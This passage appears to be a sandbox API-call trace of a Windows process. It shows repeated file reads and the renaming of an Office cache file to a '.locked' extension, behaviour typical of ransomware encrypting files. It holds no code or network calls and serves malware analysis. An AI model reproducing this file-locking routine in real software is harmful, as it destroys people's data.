lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1f5, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ed, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e5, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1dd, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d5, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1cd, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1c5, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1bd, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1b5, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ad, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a5, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x19d, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x195, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x18d, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x185, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x17d, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x175, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x16d, lpOverlapped=0x0) returned 1 [0031.761] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x165, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x15d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x155, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x14d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x145, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x13d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x135, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x12d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x125, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x11d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x115, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x10d, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x105, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xfd, lpOverlapped=0x0) returned 1 [0031.762] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xf5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xed, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xe5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xdd, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xd5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xcd, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xc5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xbd, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xb5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xad, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xa5, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x9d, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x95, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8d, lpOverlapped=0x0) returned 1 [0031.763] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x85, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x75, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x65, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x55, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x45, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x35, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x25, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d, lpOverlapped=0x0) returned 1 [0031.764] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x15, lpOverlapped=0x0) returned 1 [0031.765] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xd, lpOverlapped=0x0) returned 1 [0031.765] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5, lpOverlapped=0x0) returned 1 [0031.765] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x0, lpOverlapped=0x0) returned 1 [0031.765] AreFileApisANSI () returned 1 [0031.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0031.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0031.765] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x142) returned 0x80cde8 [0031.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 77 [0031.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x80ce82, cchWideChar=84 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.locked") returned 84 [0031.765] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.locked"), dwFlags=0x2) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.766] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.766] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.766] AreFileApisANSI () returned 1 [0031.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.766] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0031.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.767] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.768] GetFileType (hFile=0xc8) returned 0x1 [0031.768] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.768] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cd00 | out: lpNewFilePointer=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42ccb4 | out: lpNewFilePointer=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.769] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.769] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.769] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x828808 [0031.769] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8f8, lpOverlapped=0x0) returned 1 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.771] GetLastError () returned 0x0 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.771] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.772] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8f0, lpOverlapped=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.772] GetLastError () returned 0x0 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.772] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.773] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8e8, lpOverlapped=0x0) returned 1 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.773] GetLastError () returned 0x0 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.773] 